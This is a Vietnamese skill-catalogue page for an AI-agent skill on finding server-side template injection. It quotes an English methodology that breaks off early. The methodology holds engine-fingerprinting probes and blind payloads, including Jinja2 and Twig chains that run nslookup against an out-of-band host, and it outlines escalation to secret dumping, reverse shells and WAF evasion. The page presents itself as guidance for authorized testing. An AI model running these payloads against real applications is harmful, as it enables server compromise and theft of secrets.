offensive-ssti
Skill này làm gì
Skill này là phương pháp tìm server-side template injection, khi đầu vào của người dùng được một template engine thực thi. Nó bao quát các engine phổ biến và cách xác nhận lỗi một cách an toàn. Nó dành cho chuyên gia bảo mật kiểm thử ứng dụng web khi có sự cho phép.
Khi nào nên dùng
- ✓Khi một bài kiểm thử được ủy quyền cho thấy đầu vào của người dùng được render bởi một template phía máy chủ.
- ✓Khi bạn cần xác nhận template injection nằm ở phía máy chủ hay phía trình duyệt.
- ✓Khi bạn muốn xác định template engine phía sau một ứng dụng trong một bài kiểm thử đã ký duyệt.
Liên kết skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-ssti/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi được ủy quyền kiểm thử ứng dụng web của mình. Kiểm tra xem trang chào có render đầu vào người dùng qua một template engine không.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Skill lập bản đồ các điểm nhập, gửi thăm dò số học an toàn và nhận diện template engine từ phản hồi. Sau đó nó xác nhận lỗi bằng một marker duy nhất và ghi lại chuỗi request và response.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Server-Side Template Injection (SSTI) -- Offensive Methodology
SSTI exists wherever user-controlled input is concatenated into a server-side
template string and the engine evaluates it as code. The engine executes
attacker-supplied directives, granting access to the language runtime and, in
nearly every engine, remote code execution through the host language's object
model. You encounter SSTI in any application passing raw user input to functions
like render_template_string(), Template(), or compile().
CWE-1336. MITRE ATT&CK T1190.
Quick Workflow
- Map injection surfaces: URL params, POST bodies, JSON values, path segments, headers, cookies.
- Inject polyglot probes and engine-specific arithmetic expressions; note evaluation, errors, or blank output.
- Fingerprint the engine via decision-tree probes, error signatures, and variable enumeration (section 1).
- Confirm server-side execution -- rule out client-side template injection (AngularJS, Vue.js).
- Escalate to information disclosure: dump config, env vars, secrets, internal paths.
- Achieve code execution with the engine-specific chain; apply bypass techniques if blocked (section 6).
- Chain for higher impact: file read, SSRF to cloud metadata, reverse shell, internal pivot.
- Produce non-destructive PoC with unique marker and capture the full request/response chain.
1. Engine Detection and Fingerprinting
1.1 Polyglot Probes
${{<%[%'"}}%\ Universal polyglot
{{7*7}} Double-curly arithmetic
{{7*'7'}} String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %> ERB / EJS style
#{7*7} Pebble / Pug / Thymeleaf contexts
@(7+7) Razor (.NET)
Engine-narrowing probes:
{{config}} Jinja2/Flask config dict
{{_self.env}} Twig Environment object
{$smarty.version} Smarty version string
<#assign x=1> Freemarker (then reference x in dollar-curly)
For Velocity, inject #set( $x = 7 * 7 ) then reference $x.
For Thymeleaf/SpEL, inject a dollar-curly expression with T(java.lang.Math).PI.
For Mako, inject a dollar-curly expression with self.module.__name__.
1.2 Decision Tree
{{7*7}} --> 49?
YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
--> "49"? --> Twig
--> error? --> Handlebars
NO --> dollar-curly with 7*7 --> 49?
YES --> dollar-curly with class ref --> Velocity
dollar-curly with T(Math).PI --> Thymeleaf
<#assign x=1> then ref x --> Freemarker
error contains "mako" --> Mako
NO --> <%= 7*7 %> --> 49?
error with "erb"/"Erubi" --> ERB
error with "ejs" --> EJS
@(7+7) --> 14? --> Razor
1.3 Error Signatures
| Signature | Engine |
|---|---|
jinja2.exceptions.UndefinedError |
Jinja2 |
Twig\Error\SyntaxError |
Twig |
freemarker.core.ParseException |
Freemarker |
org.apache.velocity.exception |
Velocity |
com.mitchellbosecke.pebble.error |
Pebble |
SmartyCompilerException |
Smarty |
mako.exceptions.SyntaxException |
Mako |
Parse error with Handlebars context |
Handlebars |
SyntaxError with ERB path |
ERB |
org.thymeleaf.exceptions.TemplateProcessing |
Thymeleaf |
SyntaxError with .ejs path |
EJS |
Pug:Error |
Pug |
1.4 Blind Detection
Time-based: {{range(99999999)|join}} (Jinja2), <%= sleep(5) %> (ERB).
For Java engines, inject a dollar-curly with T(java.lang.Thread).sleep(5000).
OOB DNS: Use Burp Collaborator or interactsh. Jinja2:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}.
Twig: {{['nslookup UNIQUE.oastify.com']|map('system')}}.
Error inference: Compare {{7*7}} vs {{7*'INVALID}} -- different response
behavior confirms processing.
2. Jinja2 / Python
Exploitation relies on MRO traversal
Câu hỏi thường gặp
Nó bao quát những template engine nào?
Nó bao quát các engine như Jinja2, Twig, Freemarker, Velocity, Smarty và Thymeleaf, cùng một số engine khác.
Nó có cần payload gây hại không?
Skill khuyến nghị một bằng chứng không phá hoại với một marker duy nhất.
Đây có chỉ dành cho kiểm thử được ủy quyền không?
Có. Skill được viết cho việc kiểm thử có văn bản cho phép.
Chi tiết
Mô tả gốc của tác giả
Dense description covering Server-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, Mako, Handlebars, ERB, Thymeleaf, EJS, Pug. Engine fingerprinting, filter bypass, blind exploitation, WAF evasion, SSTI-to-RCE chains. Tools: tplmap. CWE-1336. MITRE T1190. Use when testing template rendering endpoints or exploiting template injection for code execution.
repo: SnailSploit/Claude-Red
Độ phổ biến
- Sao GitHub
- 10k
- Vị trí xếp hạng
- #11979
- Giấy phép
- MIT
- Cập nhật
- 12/10/2026
Bình luận
- …
Thêm skill từ kho mã này
offensive-active-directory
10kLên kế hoạch kiểm thử bảo mật Active Directory được ủy quyền, từ lập bản đồ mạng đến tìm đường tấn công tới Domain Admin.
offensive-netexec
10kGiúp agent của bạn dùng công cụ NetExec (nxc) cho kiểm thử mạng được ủy quyền, bao gồm các giao thức, xác thực và kiểm tra thông tin xác thực.
offensive-api-abuse
10kLên kế hoạch kiểm thử API được ủy quyền để tìm lạm dụng logic nghiệp vụ, rủi ro GraphQL và điều kiện đua.
offensive-api-security
10kChạy kiểm thử bảo mật được ủy quyền trên API REST, gRPC và WebSocket, dựa trên OWASP API Top 10.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.